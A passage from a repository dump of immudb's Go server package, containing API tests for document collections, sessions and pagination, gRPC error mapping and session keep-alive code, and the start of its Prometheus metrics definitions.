3,\n\t\t\t\tPageSize: 4,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, resp.Revisions, 2)\n\t\t\tresults = append(results, resp.Revisions...)\n\t\t})\n\n\t\tfor i := 1.0; i <= 10; i++ {\n\t\t\tdocAtRev := results[int(i-1)]\n\t\t\trequire.Equal(t, i, docAtRev.Document.Fields[\"idx\"].GetNumberValue())\n\t\t}\n\t})\n\n\tt.Run(\"test reader with single read\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_GE,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(0),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tresp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\tQuery:    query,\n\t\t\tPage:     1,\n\t\t\tPageSize: 11,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Revisions, 10)\n\t\trequire.Len(t, resp.SearchId, 0)\n\n\t\t// ensure there is only one reader in the session for the request and it is being reused\n\t\t// get the session from the context\n\t\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\t\trequire.NoError(t, err)\n\n\t\tsess, err := s.SessManager.GetSession(sessionID)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 0, sess.GetDocumentReadersCount())\n\n\t\tt.Run(\"test reader should throw error when search id is invalid\", func(t *testing.T) {\n\t\t\t_, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{\n\t\t\t\tSearchId: \"invalid-searchId\",\n\t\t\t\tPage:     2,\n\t\t\t\tPageSize: 5,\n\t\t\t})\n\t\t\trequire.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound)\n\t\t})\n\n\t})\n\n\tt.Run(\"document deletion should succeed\", func(t *testing.T) {\n\t\t_, err = s.DeleteDocuments(ctx, &protomodel.DeleteDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: collectionName,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t})\n\n\t// close session and ensure that all paginated readers are closed\n\t_, err = authenticationServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{})\n\trequire.NoError(t, err)\n}\n\nfunc TestDocumentInsert_WithEmptyDocument(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\trequire.NoError(t, s.Initialize())\n\n\tauthenticationServiceImp := &authenticationServiceImp{s}\n\n\tlogged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, logged.SessionID)\n\n\tmd := metadata.Pairs(\"sessionid\", logged.SessionID)\n\tctx := metadata.NewIncomingContext(context.Background(), md)\n\n\tcollectionName := \"employees\"\n\n\t_, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{\n\t\tName:                collectionName,\n\t\tDocumentIdFieldName: \"emp_no\",\n\t\tFields: []*protomodel.Field{\n\t\t\t{Name: \"birth_date\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"first_name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"last_name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"gender\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"hire_date\", Type: protomodel.FieldType_STRING},\n\t\t},\n\t\tIndexes: []*protomodel.Index{\n\t\t\t{Fields: []string{\"last_name\"}},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"#272: insert with empty document should not panic\", func(t *testing.T) {\n\t\t_, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments:      []*structpb.Struct{{}},\n\t\t})\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestCollections(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\trequire.NoError(t, s.Initialize())\n\n\tauthenticationServiceImp := &authenticationServiceImp{s}\n\n\tlogged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, logged.SessionID)\n\n\tmd := metadata.Pairs(\"sessionid\", logged.SessionID)\n\tctx := metadata.NewIncomingContext(context.Background(), md)\n\n\t// create collection\n\tdefaultCollectionName := \"mycollection\"\n\n\tt.Run(\"should pass when creating a collection\", func(t *testing.T) {\n\t\t_, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t\tFields: []*protomodel.Field{\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.AddField(ctx, &protomodel.AddFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tField: &protomodel.Field{\n\t\t\t\tName: \"extra_field\",\n\t\t\t\tType: protomodel.FieldType_UUID,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.AddField(ctx, &protomodel.AddFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tField: &protomodel.Field{\n\t\t\t\tName: \"extra_field1\",\n\t\t\t\tType: protomodel.FieldType_STRING,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.RemoveField(ctx, &protomodel.RemoveFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tFieldName:      \"extra_field1\",\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\texpectedFieldKeys := []*protomodel.Field{\n\t\t\t{Name: \"_id\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"extra_field\", Type: protomodel.FieldType_UUID},\n\t\t}\n\n\t\tcollection := cinfo.Collection\n\n\t\tfor i, idxType := range expectedFieldKeys {\n\t\t\trequire.Equal(t, idxType.Name, collection.Fields[i].Name)\n\t\t\trequire.Equal(t, idxType.Type, collection.Fields[i].Type)\n\t\t}\n\n\t})\n\n\tt.Run(\"should pass when adding an index to the collection\", func(t *testing.T) {\n\t\t_, err := s.CreateIndex(ctx, &protomodel.CreateIndexRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tFields:         []string{\"number\"},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tcollection := cinfo.Collection\n\n\t\texpectedIndexKeys := []*protomodel.Index{\n\t\t\t{Fields: []string{\"_id\"}, IsUnique: true},\n\t\t\t{Fields: []string{\"number\"}, IsUnique: false},\n\t\t}\n\n\t\tfor i, idxType := range expectedIndexKeys {\n\t\t\trequire.Equal(t, idxType.Fields, collection.Indexes[i].Fields)\n\t\t\trequire.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique)\n\t\t}\n\t})\n\n\tt.Run(\"should pass when deleting an index to the collection\", func(t *testing.T) {\n\t\t_, err := s.DeleteIndex(ctx, &protomodel.DeleteIndexRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tFields:         []string{\"number\"},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tcollection := cinfo.Collection\n\t\trequire.Len(t, collection.Indexes, 1)\n\n\t\texpectedIndexKeys := []*protomodel.Index{\n\t\t\t{Fields: []string{\"_id\"}, IsUnique: true},\n\t\t}\n\n\t\tfor i, idxType := range expectedIndexKeys {\n\t\t\trequire.Equal(t, idxType.Fields, collection.Indexes[i].Fields)\n\t\t\trequire.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique)\n\t\t}\n\t})\n\n\tt.Run(\"should pass when updating a collection\", func(t *testing.T) {\n\t\t_, err := s.UpdateCollection(ctx, &protomodel.UpdateCollectionRequest{\n\t\t\tName:                defaultCollectionName,\n\t\t\tDocumentIdFieldName: \"foo\",\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tcollection := cinfo.Collection\n\t\trequire.Equal(t, \"foo\", collection.Fields[0].Name)\n\t})\n\n\tt.Run(\"should pass when deleting collection\", func(t *testing.T) {\n\t\t_, err := s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{\n\t\t\tName: \"mycollection\",\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tresp, err := s.GetCollections(ctx, &protomodel.GetCollectionsRequest{})\n\t\trequire.NoError(t, err)\n\n\t\trequire.Len(t, resp.Collections, 0)\n\t})\n\n\tt.Run(\"should pass when creating multiple collections\", func(t *testing.T) {\n\t\t// create collection\n\t\tcollections := []string{\"mycollection1\", \"mycollection2\", \"mycollection3\"}\n\n\t\tfor _, collectionName := range collections {\n\t\t\t_, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{\n\t\t\t\tName: collectionName,\n\t\t\t\tFields: []*protomodel.Field{\n\t\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t\t},\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\texpectedFieldKeys := []*protomodel.Field{\n\t\t\t{Name: \"_id\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t}\n\n\t\t// verify collection\n\t\tresp, err := s.GetCollections(ctx, &protomodel.GetCollectionsRequest{})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Collections, len(resp.Collections))\n\n\t\tfor i, collection := range resp.Collections {\n\t\t\trequire.Equal(t, collections[i], collection.Name)\n\t\t\tfor i, idxType := range expectedFieldKeys {\n\t\t\t\trequire.Equal(t, idxType.Name, collection.Fields[i].Name)\n\t\t\t\trequire.Equal(t, idxType.Type, collection.Fields[i].Type)\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestDocuments(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithPort(0).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\trequire.NoError(t, s.Initialize())\n\n\tauthenticationServiceImp := &authenticationServiceImp{s}\n\n\tlogged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{\n\t\tUsername: \"immudb\",\n\t\tPassword: \"immudb\",\n\t\tDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, logged.SessionID)\n\n\tmd := metadata.Pairs(\"sessionid\", logged.SessionID)\n\tctx := metadata.NewIncomingContext(context.Background(), md)\n\n\t// create collection\n\tcollectionName := \"mycollection\"\n\t_, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{\n\t\tName: collectionName,\n\t\tFields: []*protomodel.Field{\n\t\t\t{\n\t\t\t\tName: \"pincode\",\n\t\t\t\tType: protomodel.FieldType_INTEGER,\n\t\t\t},\n\t\t},\n\t\tIndexes: []*protomodel.Index{\n\t\t\t{\n\t\t\t\tFields: []string{\"pincode\"},\n\t\t\t},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"should fail with empty document\", func(t *testing.T) {\n\t\t// add document to collection\n\t\t_, err := s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments:      nil,\n\t\t})\n\t\trequire.Error(t, err)\n\t})\n\n\tvar res *protomodel.InsertDocumentsResponse\n\tvar docID string\n\tt.Run(\"should pass when adding documents\", func(t *testing.T) {\n\t\tvar err error\n\t\t// add document to collection\n\t\tres, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments: []*structpb.Struct{\n\t\t\t\t{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"pincode\": structpb.NewNumberValue(123),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\t\trequire.Len(t, res.DocumentIds, 1)\n\t\tdocID = res.DocumentIds[0]\n\t})\n\n\ttime.Sleep(100 * time.Millisecond)\n\n\tt.Run(\"should pass when auditing document\", func(t *testing.T) {\n\t\tresp, err := s.AuditDocument(ctx, &protomodel.AuditDocumentRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocumentId:     docID,\n\t\t\tPage:           1,\n\t\t\tPageSize:       10,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Revisions, 1)\n\n\t\tfor _, rev := range resp.Revisions {\n\t\t\trequire.Equal(t, docID, rev.Document.Fields[\"_id\"].GetStringValue())\n\t\t}\n\t})\n\n\tt.Run(\"should pass when replacing document\", func(t *testing.T) {\n\t\tresp, err := s.ReplaceDocuments(ctx, &protomodel.ReplaceDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: collectionName,\n\t\t\t\tLimit:          1,\n\t\t\t},\n\t\t\tDocument: &structpb.Struct{Fields: map[string]*structpb.Value{\n\t\t\t\t\"pincode\": structpb.NewNumberValue(321),\n\t\t\t}},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Revisions, 1)\n\t})\n\n\tt.Run(\"should pass when requesting document proof\", func(t *testing.T) {\n\t\t_, err := s.ProofDocument(ctx, &protomodel.ProofDocumentRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocumentId:     docID,\n\t\t})\n\t\trequire.NoError(t, err)\n\t})\n\n}\n"
  },
  {
    "path": "pkg/server/error_mapper_interceptor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\n\t\"google.golang.org/grpc\"\n)\n\n// ErrorMapperStream map standard errors in gRPC errors\nfunc ErrorMapperStream(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\terr := handler(srv, ss)\n\treturn mapServerError(err)\n}\n\n// ErrorMapper map standard errors in gRPC errors\nfunc ErrorMapper(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\tm, err := handler(ctx, req)\n\treturn m, mapServerError(err)\n}\n"
  },
  {
    "path": "pkg/server/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n\n\tgoerrors \"errors\"\n)\n\nvar (\n\tErrIllegalArguments            = status.Error(codes.InvalidArgument, database.ErrIllegalArguments.Error())\n\tErrIllegalState                = status.Error(codes.InvalidArgument, database.ErrIllegalState.Error())\n\tErrEmptyAdminPassword          = status.Error(codes.InvalidArgument, \"Admin password cannot be empty\")\n\tErrCantUpdateAdminPassword     = errors.New(\"can not update sysadmin password\")\n\tErrUserNotActive               = \"user is not active\"\n\tErrInvalidUsernameOrPassword   = \"invalid user name or password\"\n\tErrAuthDisabled                = \"server is running with authentication disabled, please enable authentication to login\"\n\tErrAuthMustBeEnabled           = status.Error(codes.InvalidArgument, \"authentication must be on\")\n\tErrAuthMustBeDisabled          = status.Error(codes.InvalidArgument, \"authentication must be disabled when restoring systemdb\")\n\tErrNotAllowedInMaintenanceMode = status.Error(codes.InvalidArgument, \"operation not allowed in maintenance mode\")\n\tErrReservedDatabase            = errors.New(\"database is reserved\")\n\tErrPermissionDenied            = errors.New(\"permission denied\")\n\tErrNotSupported                = errors.New(\"operation not supported\")\n\tErrNotLoggedIn                 = auth.ErrNotLoggedIn\n\tErrReplicationInProgress       = errors.New(\"replication already in progress\")\n\tErrReplicatorNotNeeded         = errors.New(\"replicator is not needed\")\n\tErrReplicationNotInProgress    = errors.New(\"replication is not in progress\")\n\tErrSessionAlreadyPresent       = errors.New(\"session already present\").WithCode(errors.CodInternalError)\n\tErrSessionNotFound             = errors.New(\"session not found\").WithCode(errors.CodSqlserverRejectedEstablishmentOfSqlSession)\n\tErrOngoingReadWriteTx          = sessions.ErrOngoingReadWriteTx\n\tErrNoSessionIDPresent          = errors.New(\"no sessionID provided\")\n\tErrTxNotProperlyClosed         = errors.New(\"tx not properly closed\")\n\tErrReadWriteTxNotOngoing       = errors.New(\"read write transaction not ongoing\")\n\tErrTxReadConflict              = errors.New(store.ErrTxReadConflict.Error()).WithCode(errors.CodInFailedSqlTransaction)\n\tErrDatabaseAlreadyLoaded       = errors.New(\"database already loaded\")\n\tErrTruncatorNotNeeded          = errors.New(\"truncator is not needed\")\n\tErrTruncatorNotInProgress      = errors.New(\"truncation is not in progress\")\n\tErrTruncatorDoesNotExist       = errors.New(\"truncator does not exist\")\n)\n\nfunc mapServerError(err error) error {\n\tswitch err {\n\tcase store.ErrIllegalState:\n\t\treturn ErrIllegalState\n\tcase store.ErrIllegalArguments:\n\t\treturn ErrIllegalArguments\n\tcase store.ErrTxReadConflict:\n\t\treturn ErrTxReadConflict\n\t}\n\tif goerrors.Is(err, store.ErrPreconditionFailed) {\n\t\treturn errors.New(err.Error()).WithCode(errors.CodIntegrityConstraintViolation)\n\t}\n\treturn err\n}\n\nfunc init() {\n\terrors.CodeMap[ErrUserNotActive] = errors.CodSqlserverRejectedEstablishmentOfSqlconnection\n\terrors.CodeMap[ErrInvalidUsernameOrPassword] = errors.CodSqlserverRejectedEstablishmentOfSqlconnection\n\terrors.CodeMap[ErrAuthDisabled] = errors.CodProtocolViolation\n}\n"
  },
  {
    "path": "pkg/server/errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\timmuerrors \"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMapServerError(t *testing.T) {\n\terr := mapServerError(store.ErrIllegalState)\n\trequire.ErrorIs(t, err, ErrIllegalState)\n\n\terr = mapServerError(store.ErrIllegalArguments)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tsomeError := errors.New(\"some error\")\n\terr = mapServerError(someError)\n\trequire.ErrorIs(t, err, someError)\n\n\terr = mapServerError(fmt.Errorf(\"%w: test\", store.ErrPreconditionFailed))\n\trequire.Equal(t, immuerrors.CodIntegrityConstraintViolation, err.(immuerrors.Error).Code())\n}\n"
  },
  {
    "path": "pkg/server/keepAlive.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\n// KeepAlive is catched by KeepAliveSessionInterceptor\nfunc (s *ImmuServer) KeepAlive(ctx context.Context, e *empty.Empty) (*empty.Empty, error) {\n\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.SessManager.UpdateSessionActivityTime(sessionID)\n\n\treturn &emptypb.Empty{}, nil\n}\n"
  },
  {
    "path": "pkg/server/keep_alive_session_interceptor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc (s *ImmuServer) KeepALiveSessionStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {\n\tif auth.GetAuthTypeFromContext(ss.Context()) == auth.SessionAuth {\n\t\t_, err := s.KeepAlive(ss.Context(), nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn handler(srv, ss)\n}\n\nfunc (s *ImmuServer) KeepAliveSessionInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {\n\tif auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth &&\n\t\tinfo.FullMethod != \"/immudb.schema.ImmuService/OpenSession\" {\n\t\t_, err := s.KeepAlive(ctx, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn handler(ctx, req)\n}\n"
  },
  {
    "path": "pkg/server/metrics.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"expvar\"\n\t\"net/http\"\n\t\"net/http/pprof\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n\t\"google.golang.org/grpc/peer\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promhttp\"\n)\n\nvar Version VersionResponse\n\n// VersionResponse ...\ntype VersionResponse struct {\n\tComponent string `json:\"component\" example:\"immudb\"`\n\tVersion   string `json:\"version\" example:\"1.0.1-c9c6495\"`\n\tBuildTime string `json:\"buildtime\" example:\"1604692129\"`\n\tBuiltBy   string `json:\"builtby,omitempty\"`\n\tStatic    bool   `json:\"static\"`\n\tFIPS      bool   `json:\"fips\"`\n}\n\n// MetricsCollection immudb Prometheus metrics collection\ntype MetricsCollection struct {\n\tUptimeCounter prometheus.CounterFunc\n\n\tcomputeDBSizes func() map[string]float64\n\tDBSizeGauges   *prometheus.GaugeVec\n\n\tcomputeDBEntries func() map[string]float64\n\tDBEntriesGauges  *prometheus.GaugeVec\n\n\tRPCsPerClientCounters        *prometheus.CounterVec\n\tLastMessageAtPerClientGauges *prometheus.GaugeVec\n\n\tRemoteStorageKind *prometheus.GaugeVec\n\n\tcomputeLoadedDBSize func() float64\n\tLoadedDatabases     prometheus.Gauge\n\n\tcomputeSessionCount func() float64\n\tActiveSessions      prometheus.Gauge\n}\n\nvar metricsNamespace = \"immudb\"\n\n// WithUptimeCounter ...\nfunc (mc *MetricsCollection) WithUptimeCounter(f func() float64) {\n\tif mc.UptimeCounter != nil {\n\t\treturn\n\t}\n\n\tmc.UptimeCounter = promauto.NewCounterFunc(\n\t\tprometheus.CounterOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      \"uptime_hours\",\n\t\t\tHelp:      \"Server uptime in hours.\",\n\t\t},\n\t\tf,\n\t)\n}\n\n// UpdateClientMetrics ...\nfunc (mc *MetricsCollection) UpdateClientMetrics(ctx context.Context) {\n\tp, ok := peer.FromContext(ctx)\n\tif ok && p != nil {\n\t\tipAndPort := strings.Split(p.Addr.String(), \":\")\n\t\tif len(ipAndPort) > 0 {\n\t\t\tmc.RPCsPerClientCounters.WithLabelValues(ipAndPort[0]).Inc()\n\t\t\tmc.LastMessageAtPerClientGauges.WithLabelValues(ipAndPort[0]).SetToCurrentTime()\n\t\t}\n\t}\n}\n\n// WithComputeDBSizes ...\nfunc (mc *MetricsCollection) WithComputeDBSizes(f func() map[string]float64) {\n\tmc.computeDBSizes = f\n}\n\n// WithComputeDBEntries ...\nfunc (mc *MetricsCollection) WithComputeDBEntries(f func() map[string]float64) {\n\tmc.computeDBEntries = f\n}\n\n// WithLoadedDBSize ...\nfunc (mc *MetricsCollection) WithLoadedDBSize(f func() float64) {\n\tmc.computeLoadedDBSize = f\n}\n\n// WithLoadedDBSize ...\nfunc (mc *MetricsCollection) WithComputeSessionCount(f func() float64) {\n\tmc.computeSessionCount = f\n}\n\n// UpdateDBMetrics ...\nfunc (mc *MetricsCollection) UpdateDBMetrics() {\n\tif mc.computeDBSizes != nil {\n\t\tfor db, size := range mc.computeDBSizes() {\n\t\t\tmc.DBSizeGauges.WithLabelValues(db).Set(size)\n\t\t}\n\t}\n\tif mc.computeDBEntries != nil {\n\t\tfor db, nbEntries := range mc.computeDBEntries() {\n\t\t\tmc.DBEntriesGauges.WithLabelValues(db).Set(nbEntries)\n\t\t}\n\t}\n\tif mc.computeLoadedDBSize != nil {\n\t\tmc.LoadedDatabases.Set(mc.computeLoadedDBSize())\n\t}\n\tif mc.computeSessionCount != nil {\n\t\tmc.ActiveSessions.Set(mc.computeSessionCount())\n\t}\n}\n\n// Metrics immudb Prometheus metrics collection\nvar Metrics = MetricsCollection{\n\tRPCsPerClientCounters: promauto.NewCounterVec(\n\t\tprometheus.CounterOpts{\n\t\t\tNamespace: 